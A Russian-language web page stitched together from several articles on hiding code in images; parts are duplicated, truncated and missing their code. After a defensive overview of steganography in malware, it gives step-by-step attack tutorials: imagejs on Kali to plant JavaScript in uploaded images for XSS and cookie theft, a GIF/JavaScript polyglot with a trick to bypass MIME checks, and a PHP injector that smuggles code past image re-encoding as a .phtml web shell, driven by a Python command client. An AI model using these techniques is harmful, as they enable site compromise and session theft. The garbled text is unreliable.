как внедрить код в картинку
Вредоносный код в картинке: киберпреступники и стеганография
Сейчас «читает между строк» говорят про человека, который умеет понимать намеки и скрытые смыслы. Между тем когда-то в буквальном смысле между строк действительно передавали тайные сообщения, написанные невидимыми чернилами. Прием, когда автор послания прячет секретную информацию внутри чего-то на первый взгляд совершенно невинного, называется стеганография и применяется с незапамятных времен.
В отличие от криптографии, которая делает сообщение нечитаемым без знания ключа для расшифровки, задача стеганографии в том, чтобы посторонние вовсе не догадались о существовании сообщения. Как и многие другие методы работы с информацией, сегодня стеганография используется и в цифровых технологиях.
Как работает цифровая стеганография?
Спрятать секретное послание можно практически в любой цифровой объект — текстовый документ, лицензионный ключ, расширение файла. С его помощью можно защитить от копирования уникальный контент ресурса. Один из самых удобных «контейнеров» — медиафайлы (картинки, аудио, видео и так далее). Они обычно достаточно большие по размеру, а значит, и «довесок» может быть не таким маленьким, как в документе Word.
Секретную информацию можно записать в метаданные файла или же прямо в его основное содержимое, например, в картинку. С точки зрения компьютера она представляет собой набор из сотен тысяч точек-пикселей. У каждого пикселя есть «описание» — информация о его цвете. Для формата RGB, который используется в большинстве цветных картинок, это описание занимает в памяти 24 бита. Если в описании некоторых или даже всех точек 1–3 бита будет занято секретной информацией, на картинке в целом изменения будут неразличимы. А за счет огромного числа пикселей всего в изображение вписать можно довольно много данных. На нижних изображениях заметны области с высокой энтропией (высокой плотностью данных) — это и есть внедренное сообщение.
В большинстве случаев прячут информацию в пиксели и извлекают ее оттуда при помощи специальных утилит. Иногда для этой цели пишут собственные скрипты или добавляют нужную функциональность в программы другого назначения. А иногда пользуются готовыми кодами, которых в сети немало.
Как используют цифровую стеганографию?
Применений стеганографии в компьютерных технологиях немало. Прятать текст в картинку, видео или музыкальный трек можно и развлечения ради, и для защиты файла от нелегального копирования.
Скрытые водяные знаки — это тоже пример стеганографии. Однако первое, что приходит в голову, когда речь заходит о тайных посланиях как в физической, так и в цифровой форме, — это разнообразная тайная переписка и шпионаж.
Стеганография — находка для кибершпиона
Интерес злоумышленников к стеганографии был отмечен экспертами по кибербезопасности еще полтора года назад. Тогда в их поле зрения попали по меньшей мере три шпионских кампании, на командные серверы которых отправлялись данные под видом фото и видео. С точки зрения систем безопасности и сотрудников, следящих за исходящим трафиком, ничего подозрительного в том, что в Сеть загружают медиафайлы, не было. На это и рассчитывали преступники.
Еще одна шпионская программа получала команды через картинки. Злоумышленники общались со зловредом при помощи сообщений в твиттере, в которых серьезную информацию ищут в последнюю очередь. Очутившись на компьютере жертвы, зловред открывал опубликованный злоумышленниками пост и извлекал из смешной картинки инструкцию для дальнейших действий. Среди команд, к примеру, были такие:
Код в картинке
Вслед за кибершпионами к стеганографии стали чаще прибегать и другие киберпреступники: ведь в медиафайле можно спрятать не просто текст, а кусок вредоносного кода. Это не превращает картинку, музыку или видео в полноценного зловреда, однако позволяет скрыть от антивируса.
Так, злоумышленники распространяли через рекламные сети занятный баннер. Собственно рекламы на нем не было, он выглядел как полоска – небольшой белый прямоугольник. Зато он содержал скрипт, который выполнялся в браузере (в рекламный слот можно загружать скрипты, например, чтобы компании могли собирать статистику о просмотре объявления).
Этот скрипт распознавал цвет пикселей на картинке и записывал его в виде набора букв и цифр. Казалось бы, довольно бессмысленная задача, так как это был просто белый прямоугольник. Однако в глазах программы пиксели были почти белыми, и это «почти» она преобразовывала во вредоносный код, который тут же и исполняла.
Извлеченный из картинки код перенаправлял пользователя на сайт злоумышленников. Там жертву уже ждал троян, притворяющийся обновлением Adobe Flash Player, который затем скачивал другие вредоносные программы.
Обнаружить стеганографию очень трудно
Как отметили на форуме RSA, качественную стеганографию распознать крайне сложно. Избавиться от нее тоже не так-то просто: есть методы, позволяющие вшить сообщение в картинку настолько глубоко, что оно сохранится даже после того, как ее напечатают и снова отсканируют, уменьшат, увеличат или еще как-то отредактируют.
Однако, информацию — в том числе код — из изображений и видео извлекают при помощи специальной программы. То есть сами по себе медиафайлы ничего с вашего компьютера не украдут и на него не загрузят. Так что вы можете обезопасить свое устройство с помощью этих простых правил:
Как встроить код в изображение
Morty
Morty
Изображения, которые мы загружаем в Интернет – это не только фоточки, которые несут ваше представление о жизни, но также то, что может нести код, чтобы украсть наши шифры изображений и наши данные.
Например, файлы изображений начинаются с уведомления о текущем типе файла образа изображения. Обычно это что-то вроде маркера «Старт-изображение», последовательности или номера, который показывает, как он будет следовать. Файлы GIF начинаются с GIF87a или GIF89a, если рассматривать их как кодировку ISO 8859-1, начиная с шестнадцатеричного числа «47 49 46 38 37 61». После этих подписей соответствующий цвет соответствует цвету и расположению пикселей в изображении. Этих данных достаточно для создания полезного растрового изображения при добавлении в файл изображения. Однако в дополнение к этому видимому изображению метаданные, такие как EXIF, могут быть добавлены к частям маркера приложения после окончания данных изображения. После этих точек данные изображения открываются и закрываются как с помощью определенных представлений, так и после обработки данных не обрабатываются.
Вот так выглядит GIF-изображение, которое отображается как шестнадцатеричные значения:
Метаданные обычно появляются только при анализе пользователя, и таким же образом скрытый код отображается только в программе, которая ищет код для запуска. Эти данные часто содержат информацию о камере, информацию о местоположении или аналогичную информацию о фотографии, но в этом случае могут быть заполнены другим файлом или исполняемым кодом.
Несмотря на то, что скрытый контент включен в файл изображения, открывающие и закрывающие компоненты содержимого изображения по-прежнему ведут себя как стандартный образ, потому что достаточно отразить изображение программ просмотра изображений и эффективно отображать их.
Как можно использовать эту технику?
Веб-сайты, такие как форумы, хостинг-сайты или другие сайты с созданным пользователем контентом, обычно позволяют загружать изображения и публиковать текстовые или мультимедийные материалы. В некоторых случаях виджет, HTML-сценарий, можно добавлять к сообщениям пользователей или страницам. Сценарий может быть добавлен на сайт, который не должен быть из-за отсутствия проверки формы, используя сценарий escape, такой как HTML. Но даже если вы создаете свою собственную веб-страницу и файлы сценариев с других страниц, и эти сценарии пытаются получить доступ к куки-файлам в домене, где они размещены, дано. По этой причине, в качестве меры предосторожности, большинство сайтов не позволяют загружать файлы, но многие предоставляют вам изображения. И многие из них просто сохраняют изображение и висят (мы можем видеть наши). Поэтому, загружая JavaScript в изображение, он может размещаться на сайте сайта и выполняться с сервера сайта. Кроме того, этот метод значительно усложняет вредоносный JavaScript, даже если он используется на сервере, контролируемом атакующем, и может использоваться для покрытия действий фишинговой страницы.
Что мы можем сделать, запустив JavaScript, размещенный на целевом сервере?
JavaScript может содержать файлы cookie для проверки подлинности, быть уязвимыми для escape-последовательностей XSS для запуска большего количества JavaScript, загрузки программы в браузер и загрузки запросов или даже для кражи информации или кражи файлов cookie с других веб-сайтов, посещенных пользователем (при условии, что целевой компьютер обслуживает интеграцию, доступную на других веб-страницах) ). В этом примере простая проверка JavaScript используется для проверки работоспособности JavaScript, но это может быть изменено вредоносным кодом или даже инструментом BeEF.
1) Загрузка и установка Imagejs
Давайте начнем клон репозитория git проекта. Напишите команды в этих примерах на терминал Kalin Linux.
Как только мы скопировали репозиторий, мы перейдем в каталог, используя приведенную ниже команду.
cd imagejs
Наконец, для компиляции программы мы просто запускаем:
Создаем наш файл JavaScript с нашим кодом. Открываем блокнот и пишем туда для примера
echo «window.alert(«Ifud.ws rulez and putin huilo»);»
Сохраняем файл как script.js.
Код JavaScript может быть встроен в любые файлы GIF, BMP, WEBP, PNM или PGF. Однако, в зависимости от пределов, на которые должно загружаться изображение, мы должны думать о том, как создается изображение.
Если изображение загружается в качестве изображения аватара или профиля на веб-сайте, мы должны убедиться, что файл не слишком большой и разрешение превышает максимальный размер. Если изображение встроенного JavaScript с помощью JavaScript масштабируется или сжимается на веб-сайте, или если сайт удаляет данные EXIF, функция кода не поддерживается; поэтому, если вы загружаете картинку, которая соответствует требованиям сайтов, вы будете записывать ее так, как если бы она была в размещенном месте без каких-либо изменений.
После того, как вы нашли изображение, которое хотите вставить, вы можете разместить их, используя следующие параметры. Этот пример скрипта называется «script.js», а образ «image.jpg» – оба находятся в том же каталоге, что и программа imagejs, которую мы можем проверить, набрав ls.
Открываем блокнот и вставляем туда данный код HTML:
Сохраняем файл как script.html (важно чтоб этот файл и файл script.js.gif находились в одной директории). Открываем файл:
Тег был добавлен, чтобы показать, что изображение GIF по-прежнему полностью функционирует как изображение, но его можно пропустить, и скрипт будет работать.
Выполнение этого из файла работает, потому что файловые системы не задают типы файлов mime. Большинство современных веб-серверов устанавливают тип mime для файлов, которые они обслуживают, на основе расширения файла. Если это так, и веб-сервер задает тип mime изображения (например, image / gif), современные браузеры не будут пытаться запустить сценарий, потому что типы mime изображения не являются исполняемыми.
Теперь, когда мы нашли способ встраивать JavaScript в изображения, мы хотим посмотреть, что мы можем сделать с этим кодом JavaScript и как добавить его на живой веб-сайт.
Следующая команда попытается установить файлы cookie cookie на обслуживаемой веб-странице. Эти файлы cookie могут использоваться для имитации пользователей путем кражи их токенов аутентификации. Теперь, честно говоря, вещи, которые вы просто пишете сканерам, не приведут их к вам (вам придется написать команду, чтобы отправить их на свой сервер), но это будет служить доказательством простой концепции:
🖼️ Изображая жертву: как зашить в картинку исполняемый код
Картинка, которая одновременно является кодом на JavaScript
Выбираем тип изображения
Изображения содержат массу двоичных данных, которые выдадут ошибку, если их интерпретировать как JavaScript. Попробуем поместить их в один большой комментарий:
Это будет корректный файл JavaScript. Однако файлы изображений начинаются со специфичного для формата заголовка. Например, файлы PNG начинаются с последовательности байтов 89 50 4E 47 0D 0A 1A 0A. Если изображение начиналось с /*, оно перестанет быть корректным.
Заголовок файла приводит к следующей мысли: что, если эту последовательность байтов использовать в качестве имени переменной и присвоить ей значение длинной строки:
Здесь используются шаблонные строки вместо обычных « « » или « ‘ », потому что двоичные данные могут содержать разрывы строк.
Большинство заголовков содержат недопустимые в именах переменных символы, но есть один формат, который можно использовать: GIF. Блок заголовка GIF имеет вид 47 49 46 38 39 61 и удобно преобразуется в ASCII-строку GIF89a.
Выбираем размер изображения
Теперь, когда мы нашли начинающийся с допустимого имени переменной формат изображения, нужно добавить символы « = » и « ` ». Таким образом, следующие четыре байта файла будут 3D 09 60 04:
В формате GIF следующие за заголовком четыре байта определяют размеры изображения. Мы должны поместить туда 3D (знак равенства) и 60 (обратный апостроф). Чтобы изображения были как можно меньше, 3D и 60 следует хранить в наименее значимых байтах.
Для второго байта высоты мы можем выбрать символ, создающий хорошее соотношение сторон. Например 04 дает нам высоту 60 04 или 1120.
Создаем скрипт
Эта область идет сразу после таблицы цветов GIF. Поскольку мы в силах поместить туда любой контент, можно закрыть строку GIF89a, добавить весь наш сценарий, а затем использовать многострочный блок комментариев, чтобы остальная часть изображения не мешала синтаксическому анализатору.
Скрипт может выглядеть следующим образом:
Существует небольшое ограничение: хотя сам блок комментариев может быть любого размера, он состоит из нескольких подблоков, каждый из которых имеет максимальный длину в 255 байт. Между подблоками находится один байт, хранящий длину следующего подблока, поэтому сценарий должен быть разделен на более мелкие части:
Шестнадцатеричные коды в комментариях – это байты, указывающие на размер следующего подблока. Они не имеют отношения к Javascript, но необходимы для формата GIF-файла и должны быть заключены в комментарии, чтобы предотвратить влияние на остальную часть кода. Ниже приведен небольшой скрипт, обрабатывающий фрагменты и добавляющий их на картинку:
Очищаем двоичные данные
Когда у нас есть базовая структура, следует убедиться, что двоичные данные картинки не разрушают синтаксис сценария. Файл состоит из трех разделов: первый – присвоение переменной GIF89a, второй – код JavaScript и третий – многострочный комментарий.
Посмотрим на первую часть:
Если двоичные данные будут содержать символ ` или комбинацию символов $<, у нас возникнут проблемы: либо завершится строка шаблона, либо мы получим недопустимое выражение. Исправить это можно, заменив двоичные данные: например, вместо символа « ` » (шестнадцатеричный код 60) мы могли бы использовать символ « a » (шестнадцатеричный код 61). Поскольку эта часть файла содержит таблицу цветов, это приведет к тому, что некоторые цвета будут немного другими (незаметно), например: #286148 вместо #286048.
Боремся с искажениями
В конце кода мы открыли многострочный комментарий. Нужно убедиться, что бинарные данные картинки не мешают синтаксическому анализу:
Если данные изображения будут содержать последовательность символов « */ », комментарий завершится преждевременно, что приведет к некорректности файла. Здесь придется изменить один из двух символов, как описывалось ранее. Однако, поскольку мы сейчас находимся в разделе закодированных изображений, это приведет к его повреждению, например:
В некоторых случаях картинка вообще не могла отрисоваться. Экспериментируя с поворотами битов, я смог свести к минимуму «поломку» изображения. К счастью было только несколько случаев появления вредной комбинации « */ » и в конечном изображении все еще есть немного повреждений, видимых, например, в нижней части строки «Valid Javascript File», но в целом я вполне доволен результатом.
Завершаем файл
Последняя манипуляция – файл должен заканчиваться байтами «00 3B», поэтому комментарий нужно завершить раньше. Поскольку это конец файла, любое потенциальное повреждение будет не сильно заметно, просто добавим однострочный комментарий, чтобы не вызвать никаких проблем при синтаксическом анализе:
Заставляем браузер выполнить сценарий
У нас наконец-то есть графический файл, который является сценарием JavaScript-файлом. Возникает еще одна проблема: если загрузить изображение на сервер и попытаться использовать его в теге
Сокрытие PHP-кода в изображениях
Некоторое время назад мне на глаза попалась тема на форуме, посвященная загрузке файлов средствами PHP. В том топике люди обсуждали меры, которые необходимо предпринять, чтобы обезопасить сервер от вредоносных файлов.
Некоторое время назад мне на глаза попалась тема на форуме, посвященная загрузке файлов средствами PHP. В том топике люди обсуждали меры, которые необходимо предпринять, чтобы обезопасить сервер от вредоносных файлов. В частности, предлагалось разрешить загрузку только определенных типов файлов, обрабатывать уже загруженные файлы и т. д.
В процессе той дискуссии были придуманы следующие меры безопасности: запретить загрузку файлов, относящихся к php-скриптам, а затем при помощи ImageJpeg (функция обработки изображений средствами PHP) провести верификацию загруженных изображений. Мне, как разработчику, этот комплекс мер вполне нравится. Если файл не соответствует графическому формату, функция ImageJpeg возвратит false, и загрузка отменится. С другой стороны, даже если злоумышленнику удастся внедрить код в изображение, картинка перед сохранением на диск также будет обработана и изменена функцией ImageJpeg.
Следующая идея – добавить код напрямую в изображение при помощи шестнадцатеричного редактора так, чтобы картинка выглядела «правильной» для функции ImageJpeg. Основная сложность в реализации этого метода была связана с описанными ранее причинами: после обработки изображения функцией ImageJpeg и записи файла на диск код был поврежден. Картинка практически всегда оказывалась корректной за исключением небольших искажений (по причине моего вмешательства).
После долгих экспериментов мне удалось получить обработанное изображение с работоспособным кодом внутри.
В процессе улучшения метода инжекта кода, убедившись, что изображение искажается не сильно, я написал скрипт, который автоматически добавляет код в картинку. После отработки скрипта и обработки заряженного изображения различными утилитами (в том числе функцией ImageJpeg) код оставался работоспособен. Проводилось даже тестирование на изменение размера картинки, и во многих случаях код также работал (но не всегда).
Ниже показано изображение до инжекта кода:
Следующее изображение (степень искажения зависит от конкретной картинки) уже с инжектированным кодом. Не беспокойтесь, в текущем состоянии код не выполнится.
Ниже представлен скрипт автоматизирующий процесс добавления кода:
ini_set(‘display_errors’, 0);
error_reporting(0);
//File that contains the finished result to be uploaded
$result_file = ‘pic.jpg.phtml’;
//Original input file
$orig = ‘test.jpg’;
//Code to be hidden in the image data
$code = »;
echo «-=Imagejpeg injector 1.6=-\n»;
echo «[+] Jumping to end byte\n»;
$start_byte = findStart($data);
sleep(1);
$src = imagecreatefromjpeg($result_file);
echo «[-] Unable to find valid injection point. Try a shorter command or another image\n»;
Подводим итоги. После нескольких дней экспериментов мне удалось обойти защиту скрипта и автоматизировать процесс (этапы работы скрипта показаны ниже):
[+] Jumping to end byte
[+] Searching for valid injection point
[+] Injection completed successfully
[+] Filename: result.phtml
И в завершении я написал простенький скрипт для пересылки команд файлу после загрузки на сервер, парсинга информации внутри изображения и отображение результатов.
import urllib.request
import argparse
import http.client
import urllib.parse
import re
def main():
parser = argparse.ArgumentParser()
parser.add_argument(«domain», help=»domain to connect to»)
parser.add_argument(«port», help=»port to connect to»)
parser.add_argument(«path», help=»path to the jellyshelly file»)
args = parser.parse_args()
domain = args.domain
path = args.path
port = args.port
def makeRequest(cmd, domain, port, path):
lines = cmd.split(‘\n’)
httpServ = http.client.HTTPConnection(domain, port)
httpServ.connect()
httpServ.request(‘POST’, path, params, headers)
response = httpServ.getresponse()
response_string = response.read().decode(«utf-8», «replace»)
if response.status == http.client.OK:
for result in re.findall(r'(?
Linux truesechp01 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64
Картинка, которая одновременно является кодом на Javascript
Изображения обычно хранятся как двоичные файлы, а файл Javascript по сути является обычным текстом. Оба типа файлов должны следовать собственным правилам: изображения имеют конкретный формат файла, определённым образом кодирующий данные. Для того, чтобы файлы Javascript можно было исполнять, они должны следовать определённому синтаксису. Я задался вопросом: можно ли создать файл изображения, одновременно являющийся допустимым синтаксисом Javascript, чтобы его можно было исполнять?
Прежде чем вы продолжите чтение, крайне рекомендую изучить эту песочницу кода с результатами моих экспериментов:
Если вы хотите посмотреть изображение и изучить его самостоятельно, то скачать его можно отсюда:
Выбор подходящего типа изображения
К сожалению, изображения содержат множество двоичных данных, которые при интерпретации в качестве Javascript будут выдавать ошибку. Поэтому моя первая мысль заключалась в следующем: что если просто поместить все данные изображения в большой комментарий, примерно так:
Этот заголовок файла привёл меня к следующей идее: что если использовать эту последовательность байтов как имя переменной и присвоить ей значение длинной строки:
К сожалению, большинство последовательностей байтов в заголовках файлов изображений содержат непечатаемые символы, которые нельзя использовать в именах переменных. Но есть один формат, который мы можем использовать: GIF. Блок заголовка GIF имеет вид 47 49 46 38 39 61, что удобно преобразуется в ASCII в строку GIF89a — абсолютно допустимое имя переменной!
Выбор подходящих размеров изображения
Теперь, когда мы нашли формат изображения, начинающийся с допустимого имени переменной, нам нужно добавить символы знака равенства и обратного апострофа (backtick). Следовательно следующими четырьмя байтами файла будут: 3D 09 60 04
Первые байты изображения
В формате GIF четыре байта после заголовка определяют размеры изображения. Нам нужно уместить в них 3D (знак равенства) и 60 (обратный апостроф, открывающий строку). В GIF используется порядок little endian, поэтому второй и четвёртый символы имеют огромное влияние на размеры изображения. Они должны быть как можно меньше, чтобы изображение не получилось шириной и высотой в десятки тысяч пикселей. Следовательно, нам нужно хранить большие байты 3D и 60 в наименее значимых байтах.
Наименьший пробельный символ — это 09 (символ горизонтальной табуляции). Он даёт нам ширину изображения 3D 09, что в little endian равно 2365; немного шире, чем бы мне хотелось, но всё равно вполне приемлемо.
Для второго байта высоты можно выбрать значение, дающее хорошее соотношение сторон. Я выбрал 04, что даёт нам высоту 60 04, или 1120 пикселей.
Засовываем в файл скрипт
Пока наш исполняемый GIF почти ничего не делает. Он просто присваивает глобальной переменной GIF89a длинную строку. Мы хотим, чтобы происходило что-нибудь интересное! Основная часть данных внутри GIF используется для кодирования изображения, поэтому если мы попробуем вставить туда Javascript, то изображение, вероятно, будет сильно искажённым. Но по какой-то причине формат GIF содержит нечто под названием Comment Extension. Это место для хранения метаданных, которые не интерпретируются декодером GIF — идеальное место для нашей Javascript-логики.
Это расширение для комментариев находится сразу после таблицы цветов GIF. Поскольку мы можем поместить туда любое содержимое, можно запросто закрыть строку GIF89a, добавить весь Javascript, а затем начать многострочный блок комментария, чтобы остальная часть изображения не влияла на парсер Javascript.
В конечном итоге наш файл может выглядеть следующим образом:
Однако существует небольшое ограничение: хотя сам блок комментария может иметь любой размер, он состоит из нескольких подблоков, и максимальный размер каждого из них составляет 255. Между подблоками есть один байт, определяющий длину следующего подблока. Поэтому чтобы уместить туда большой скрипт, его нужно разделить на мелкие фрагменты, примерно вот так:
Шестнадцатеричные коды в комментариях — это байты, определяющие размер следующего подблока. Они не относятся к Javascript, но обязательны для формата файла GIF. Чтобы они не мешали остальной части кода, их нужно поместить в комментарии. Я написал небольшой скрипт, обрабатывающий фрагменты скрипта и добавляющий их в файл изображения:
Подчищаем двоичные данные
Теперь, когда у нас есть базовая структура, нам нужно сделать так, чтобы двоичные данные изображения не испортили синтаксис кода. Как говорилось в предыдущем разделе, файл состоит из трёх разделов: в первом выполняется присваивание значения переменной GIF89a, второй — это код на Javascript, а третий — комментарий из нескольких строк.
Давайте взглянем на первую часть с присвоением значения переменной:
Боремся с искажениями
В конце Javascript-кода мы открыли многострочный комментарий, чтобы двоичные данные изображения не влияли на парсинг Javascript:
Завершаем файл
Нам осталась последняя операция — завершение файла. Файл должен завершаться байтами 00 3B, поэтому нам нужно завершить комментарий раньше. Поскольку это конец файла и любые потенциальные повреждения будут не особо заметны, я просто завершил комментарий из блоков и добавил однострочный комментарий, чтобы конец файла не вызывал проблем при парсинге:
Уговариваем браузер исполнить изображение
Refused to execute script from ‘http://localhost:8080/image.gif’ because its MIME type (‘image/gif’) is not executable. [Отказ от исполнения скрипта из ‘http://localhost:8080/image.gif’, потому что его MIME-тип не является исполняемым.]
То есть браузер справедливо говорит: «Это изображение, я не буду его исполнять!». И в большинстве случаев это вполне уместно. Но мы всё равно хотим его исполнить. Решение заключается в том, чтобы просто не говорить браузеру, что это изображение. Для этого я написал небольшой сервер, передающий изображение без информации заголовка.
Без информации о MIME-типе из заголовка браузер не знает, что это изображение и делает именно то, что лучше всего подходит в контексте: отображает его как изображение в теге или исполняет как Javascript в теге